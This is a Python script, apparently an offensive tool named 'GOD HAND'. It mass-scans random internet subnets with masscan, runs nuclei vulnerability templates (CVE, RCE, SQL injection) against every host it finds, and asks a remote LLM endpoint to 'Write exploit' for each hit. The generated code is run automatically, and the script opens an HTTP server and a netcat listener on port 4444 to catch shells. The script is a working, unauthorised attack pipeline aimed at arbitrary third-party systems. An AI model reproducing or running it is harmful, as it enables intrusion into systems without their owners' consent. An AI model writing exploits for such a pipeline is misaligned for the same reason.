import subprocess, requests, json, time, random, os, threading, queue, sys
from colorama import Fore, init
init(autoreset=True)

# --- CONFIG ---
BRAIN_URL = "https://luck-falling-gps-rest.trycloudflare.com/v1/chat/completions"
VPS_IP = "80.78.25.235"
RATE = "1000"

def log(module, msg):
    print(f"[{time.strftime('%H:%M:%S')}] [{module}] {msg}")

def ask_brain(prompt):
    try:
        r = requests.post(BRAIN_URL, json={"mode":"instruct","messages":[{"role":"user","content":prompt}]}, timeout=45)
        return r.json()['choices'][0]['message']['content']
    except: return ""

def launch_scan():
    while True:
        subnet = f"{random.randint(1,220)}.{random.randint(0,255)}.0.0/16"
        log("SCAN", f"Mass-Scanning: {subnet}")
        os.system(f"masscan {subnet} -p22,80 --rate {RATE} -wait 0 -oJ raw.json > /dev/null 2>&1")
        
        targets = []
        if os.path.exists("raw.json"):
            try:
                with open("raw.json") as f:
                    for e in json.load(f):
                        targets.append(f"http://{e.get('ip')}")
            except: pass
            os.remove("raw.json")
            
        if targets:
            log("ATTACK", f"Engaging {len(targets)} targets with Nuclei...")
            with open("targets.txt", "w") as f:
                for t in targets: f.write(t + "\n")
            
            subprocess.run("nuclei -l targets.txt -tags cve,rce,sqli -c 50 -json-export results.json", shell=True, stdout=subprocess.DEVNULL)
            
            if os.path.exists("results.json"):
                with open("results.json") as f:
                    for line in f:
                        try:
                            data = json.loads(line)
                            log("CRITICAL", f"PWNED: {data['info']['name']} @ {data['host']}")
                            exploit = ask_brain(f"Target: {data['host']}\nVuln: {data['info']['name']}\nWrite exploit.")
                            if exploit:
                                fname = f"pwn_{random.randint(1000,9999)}.py"
                                with open(fname, "w") as k: k.write(exploit)
                                os.system(f"python3 {fname} &")
                        except: pass
                os.remove("results.json")
        os.remove("targets.txt") if os.path.exists("targets.txt") else None

if __name__ == "__main__":
    log("SYSTEM", "GOD HAND ONLINE.")
    os.system("nohup python3 -m http.server 80 > /dev/null 2>&1 &")
    os.system("nohup nc -lvnp 4444 > /dev/null 2>&1 &")
    launch_scan()
